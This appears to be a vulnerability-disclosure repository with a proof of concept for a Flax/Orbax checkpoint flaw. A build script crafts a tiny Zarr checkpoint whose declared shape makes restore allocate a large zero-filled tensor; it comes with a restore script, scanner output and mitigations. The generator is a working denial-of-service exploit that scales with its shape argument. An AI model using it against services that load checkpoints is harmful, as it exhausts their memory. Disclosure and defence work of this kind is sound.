pragnyanramtha commited on
Commit
d2c10ba
·
verified ·
1 Parent(s): 890e417

Upload folder using huggingface_hub

Browse files
README.md ADDED
@@ -0,0 +1,61 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Flax/Orbax Sparse-Shape Checkpoint PoC
2
+
3
+ This is a benign security PoC for a Flax/Orbax checkpoint resource-amplification issue. It demonstrates a tiny legacy Orbax/Zarr checkpoint whose model-controlled metadata restores as a much larger zero-filled `float32` tensor.
4
+
5
+ ## Files
6
+
7
+ - `build_poc.py` creates the checkpoint artifact.
8
+ - `verify_poc.py` restores the checkpoint and writes `results.json`.
9
+ - `poc_sparse_shape_checkpoint/checkpoint_0/` is the generated checkpoint artifact.
10
+ - `poc_sparse_shape_checkpoint/artifact_manifest.json` records file sizes and SHA256 values.
11
+ - `modelscan_checkpoint_0.json` is ModelScan output.
12
+ - `results.json` is runtime restore output from the local validation run.
13
+
14
+ ## Trigger
15
+
16
+ The checkpoint uses legacy Orbax/Zarr layout with:
17
+
18
+ - `_METADATA`: `store_array_data_equal_to_fill_value=false`
19
+ - `marker/.zarray`: a large declared `shape`
20
+ - no chunk data file
21
+
22
+ On restore, current Orbax/TensorStore fills missing chunk data and materializes the declared array. The staged artifact uses a safe default shape of `8,000,000` `float32` elements, allocating about 32 MB from a sub-kilobyte checkpoint.
23
+
24
+ ## Reproduction
25
+
26
+ ```bash
27
+ python -m venv .venv
28
+ .venv/Scripts/python -m pip install flax orbax-checkpoint modelscan transformers msgpack psutil numpy
29
+ .venv/Scripts/python build_poc.py --shape 8000000
30
+ .venv/Scripts/python verify_poc.py
31
+ .venv/Scripts/modelscan scan -p poc_sparse_shape_checkpoint/checkpoint_0 -r json --show-skipped -o modelscan_checkpoint_0.json
32
+ ```
33
+
34
+ Expected restore output includes:
35
+
36
+ - `restored_shape`: `[8000000]`
37
+ - `restored_dtype`: `float32`
38
+ - `restored_nbytes`: `32000000`
39
+ - `first_value` and `last_value`: `0.0`
40
+
41
+ ## Scanner Output Summary
42
+
43
+ ModelScan `0.8.8` reports zero issues and skips `_CHECKPOINT_METADATA`, `_METADATA`, and `marker/.zarray` as unsupported files. This is not an ACE scanner bypass; it is scanner/runtime evidence for a currently unsupported Flax/Orbax checkpoint surface.
44
+
45
+ ## Impact
46
+
47
+ An attacker-controlled checkpoint can be much smaller on disk than the array materialized during restore. Increasing the declared Zarr shape scales the allocation and can produce a denial of service in services that restore untrusted Flax/Orbax checkpoints.
48
+
49
+ Limitations:
50
+
51
+ - DoS/resource amplification only.
52
+ - No code execution.
53
+ - Demonstrated on legacy Orbax/Zarr checkpoint layout, not default OCDBT.
54
+ - Requires a service or user to restore the checkpoint.
55
+
56
+ ## Mitigations
57
+
58
+ - Reject or cap restored tensor shapes before `TensorStore.read()`.
59
+ - Reject checkpoints with missing chunk data unless explicitly trusted.
60
+ - Treat `_METADATA` and `.zarray` as security-sensitive scanner targets.
61
+ - Enforce a maximum restored byte budget per checkpoint.
__pycache__/build_poc.cpython-312.pyc ADDED
Binary file (5.73 kB). View file
 
__pycache__/verify_poc.cpython-312.pyc ADDED
Binary file (3.58 kB). View file
 
build_poc.py ADDED
@@ -0,0 +1,102 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from __future__ import annotations
2
+
3
+ import argparse
4
+ import hashlib
5
+ import json
6
+ import shutil
7
+ from pathlib import Path
8
+
9
+ import numpy as np
10
+ import orbax.checkpoint as ocp
11
+
12
+
13
+ def sha256_file(path: Path) -> str:
14
+ h = hashlib.sha256()
15
+ with path.open("rb") as f:
16
+ for chunk in iter(lambda: f.read(1024 * 1024), b""):
17
+ h.update(chunk)
18
+ return h.hexdigest()
19
+
20
+
21
+ def build_tree_hash(root: Path) -> tuple[str, list[dict[str, object]]]:
22
+ entries = []
23
+ h = hashlib.sha256()
24
+ for path in sorted(p for p in root.rglob("*") if p.is_file()):
25
+ rel = path.relative_to(root).as_posix()
26
+ digest = sha256_file(path)
27
+ size = path.stat().st_size
28
+ entries.append({"path": rel, "size": size, "sha256": digest})
29
+ h.update(rel.encode("utf-8"))
30
+ h.update(b"\0")
31
+ h.update(digest.encode("ascii"))
32
+ h.update(b"\0")
33
+ return h.hexdigest(), entries
34
+
35
+
36
+ def main() -> None:
37
+ parser = argparse.ArgumentParser(
38
+ description="Build a benign Flax/Orbax sparse-shape checkpoint PoC."
39
+ )
40
+ parser.add_argument(
41
+ "--shape",
42
+ type=int,
43
+ default=8_000_000,
44
+ help="Declared float32 tensor length. Default allocates 32 MB on restore.",
45
+ )
46
+ parser.add_argument(
47
+ "--out",
48
+ type=Path,
49
+ default=Path("poc_sparse_shape_checkpoint"),
50
+ help="Output directory for the PoC checkpoint package.",
51
+ )
52
+ args = parser.parse_args()
53
+
54
+ if args.shape < 1:
55
+ raise SystemExit("--shape must be positive")
56
+
57
+ out = args.out.resolve()
58
+ if out.exists():
59
+ shutil.rmtree(out)
60
+ out.mkdir(parents=True)
61
+ ckpt = out / "checkpoint_0"
62
+
63
+ handler = ocp.PyTreeCheckpointHandler(use_ocdbt=False)
64
+ checkpointer = ocp.Checkpointer(handler)
65
+ checkpointer.save(
66
+ ckpt,
67
+ {"marker": np.array([1.0], dtype=np.float32)},
68
+ force=True,
69
+ )
70
+
71
+ metadata_path = ckpt / "_METADATA"
72
+ metadata = json.loads(metadata_path.read_text())
73
+ metadata["store_array_data_equal_to_fill_value"] = False
74
+ metadata_path.write_text(json.dumps(metadata, separators=(",", ":")))
75
+
76
+ zarray_path = ckpt / "marker" / ".zarray"
77
+ zarray = json.loads(zarray_path.read_text())
78
+ zarray["shape"] = [args.shape]
79
+ zarray["chunks"] = [args.shape]
80
+ zarray_path.write_text(json.dumps(zarray, separators=(",", ":")))
81
+
82
+ chunk_path = ckpt / "marker" / "0"
83
+ if chunk_path.exists():
84
+ chunk_path.unlink()
85
+
86
+ tree_hash, files = build_tree_hash(out)
87
+ manifest = {
88
+ "name": "flax-orbax-sparse-shape-checkpoint-poc",
89
+ "declared_shape": [args.shape],
90
+ "declared_nbytes_float32": args.shape * 4,
91
+ "checkpoint_bytes_on_disk": sum(item["size"] for item in files),
92
+ "tree_sha256": tree_hash,
93
+ "files": files,
94
+ }
95
+ (out / "artifact_manifest.json").write_text(
96
+ json.dumps(manifest, indent=2) + "\n"
97
+ )
98
+ print(json.dumps(manifest, indent=2))
99
+
100
+
101
+ if __name__ == "__main__":
102
+ main()
modelscan_checkpoint_0.json ADDED
@@ -0,0 +1 @@
 
 
1
+ {"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}, "total_issues": 0, "input_path": "poc_sparse_shape_checkpoint\\checkpoint_0", "absolute_path": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\flax\\hf_flax_poc\\poc_sparse_shape_checkpoint\\checkpoint_0", "modelscan_version": "0.8.8", "timestamp": "2026-05-12T12:57:40.451111", "scanned": {"total_scanned": 0}, "skipped": {"total_skipped": 3, "skipped_files": [{"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "_CHECKPOINT_METADATA"}, {"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "_METADATA"}, {"category": "SCAN_NOT_SUPPORTED", "description": "Model Scan did not scan file", "source": "marker\\.zarray"}]}}, "issues": [], "errors": []}
poc_sparse_shape_checkpoint/artifact_manifest.json ADDED
@@ -0,0 +1,26 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "name": "flax-orbax-sparse-shape-checkpoint-poc",
3
+ "declared_shape": [
4
+ 8000000
5
+ ],
6
+ "declared_nbytes_float32": 32000000,
7
+ "checkpoint_bytes_on_disk": 690,
8
+ "tree_sha256": "bb1f5685101ef62fc818939955bd3db938ba60ce5fe49b8dea8db0bba2003381",
9
+ "files": [
10
+ {
11
+ "path": "checkpoint_0/_CHECKPOINT_METADATA",
12
+ "size": 258,
13
+ "sha256": "eb21d0981fbd569fa29a62452642973b68f514d2e62fb1eeec78f96191580e79"
14
+ },
15
+ {
16
+ "path": "checkpoint_0/_METADATA",
17
+ "size": 256,
18
+ "sha256": "05e86e7a3626edfd23fc09e91001fc346ee9aec4c352d5907441f1f37b5f3bb3"
19
+ },
20
+ {
21
+ "path": "checkpoint_0/marker/.zarray",
22
+ "size": 176,
23
+ "sha256": "fab095a3ae13ec5674d2899e341ccdf0d456c536aeee55682fa1fa24c404e967"
24
+ }
25
+ ]
26
+ }
poc_sparse_shape_checkpoint/checkpoint_0/_CHECKPOINT_METADATA ADDED
@@ -0,0 +1 @@
 
 
1
+ {"item_handlers": "orbax.checkpoint._src.handlers.pytree_checkpoint_handler.PyTreeCheckpointHandler", "metrics": {}, "performance_metrics": {}, "init_timestamp_nsecs": 1778570744276689000, "commit_timestamp_nsecs": 1778570744354952900, "custom_metadata": {}}
poc_sparse_shape_checkpoint/checkpoint_0/_METADATA ADDED
@@ -0,0 +1 @@
 
 
1
+ {"tree_metadata":{"('marker',)":{"key_metadata":[{"key":"marker","key_type":2}],"value_metadata":{"value_type":"np.ndarray","skip_deserialize":false}}},"use_ocdbt":false,"use_zarr3":false,"store_array_data_equal_to_fill_value":false,"custom_metadata":null}
poc_sparse_shape_checkpoint/checkpoint_0/marker/.zarray ADDED
@@ -0,0 +1 @@
 
 
1
+ {"chunks":[8000000],"compressor":{"id":"zstd","level":1},"dimension_separator":".","dtype":"<f4","fill_value":null,"filters":null,"order":"C","shape":[8000000],"zarr_format":2}
results.json ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "checkpoint": "C:\\Users\\Pragnyan\\dev\\huntr-exp1\\flax\\hf_flax_poc\\poc_sparse_shape_checkpoint\\checkpoint_0",
3
+ "restored_shape": [
4
+ 8000000
5
+ ],
6
+ "restored_dtype": "float32",
7
+ "restored_nbytes": 32000000,
8
+ "first_value": 0.0,
9
+ "last_value": 0.0,
10
+ "elapsed_seconds": 0.13800019999871438,
11
+ "rss_before": 117305344,
12
+ "rss_after": 163581952,
13
+ "rss_delta": 46276608,
14
+ "versions": {
15
+ "python": "3.12.12",
16
+ "platform": "Windows-11-10.0.26220-SP0",
17
+ "flax": "0.12.7",
18
+ "jax": "0.10.0",
19
+ "orbax-checkpoint": "0.11.39",
20
+ "modelscan": "0.8.8",
21
+ "msgpack": "1.1.2",
22
+ "numpy": "2.4.4",
23
+ "transformers": "5.8.0"
24
+ }
25
+ }
verify_poc.py ADDED
@@ -0,0 +1,79 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from __future__ import annotations
2
+
3
+ import argparse
4
+ import json
5
+ import os
6
+ import platform
7
+ import time
8
+ from pathlib import Path
9
+
10
+ import flax
11
+ import jax
12
+ import msgpack
13
+ import numpy as np
14
+ import orbax.checkpoint as ocp
15
+ import psutil
16
+
17
+
18
+ def package_versions() -> dict[str, str]:
19
+ import modelscan
20
+ import transformers
21
+
22
+ return {
23
+ "python": platform.python_version(),
24
+ "platform": platform.platform(),
25
+ "flax": flax.__version__,
26
+ "jax": jax.__version__,
27
+ "orbax-checkpoint": ocp.__version__,
28
+ "modelscan": modelscan.__version__,
29
+ "msgpack": ".".join(map(str, msgpack.version)),
30
+ "numpy": np.__version__,
31
+ "transformers": transformers.__version__,
32
+ }
33
+
34
+
35
+ def main() -> None:
36
+ parser = argparse.ArgumentParser(
37
+ description="Restore the benign sparse-shape Flax/Orbax checkpoint PoC."
38
+ )
39
+ parser.add_argument(
40
+ "--checkpoint",
41
+ type=Path,
42
+ default=Path("poc_sparse_shape_checkpoint") / "checkpoint_0",
43
+ )
44
+ parser.add_argument(
45
+ "--results",
46
+ type=Path,
47
+ default=Path("results.json"),
48
+ )
49
+ args = parser.parse_args()
50
+
51
+ checkpoint = args.checkpoint.resolve()
52
+ process = psutil.Process(os.getpid())
53
+ before_rss = process.memory_info().rss
54
+ start = time.perf_counter()
55
+
56
+ restored = ocp.Checkpointer(ocp.PyTreeCheckpointHandler()).restore(checkpoint)
57
+ elapsed = time.perf_counter() - start
58
+ marker = restored["marker"]
59
+ after_rss = process.memory_info().rss
60
+
61
+ result = {
62
+ "checkpoint": str(checkpoint),
63
+ "restored_shape": list(marker.shape),
64
+ "restored_dtype": str(marker.dtype),
65
+ "restored_nbytes": int(marker.nbytes),
66
+ "first_value": float(marker[0]),
67
+ "last_value": float(marker[-1]),
68
+ "elapsed_seconds": elapsed,
69
+ "rss_before": before_rss,
70
+ "rss_after": after_rss,
71
+ "rss_delta": after_rss - before_rss,
72
+ "versions": package_versions(),
73
+ }
74
+ args.results.write_text(json.dumps(result, indent=2) + "\n")
75
+ print(json.dumps(result, indent=2))
76
+
77
+
78
+ if __name__ == "__main__":
79
+ main()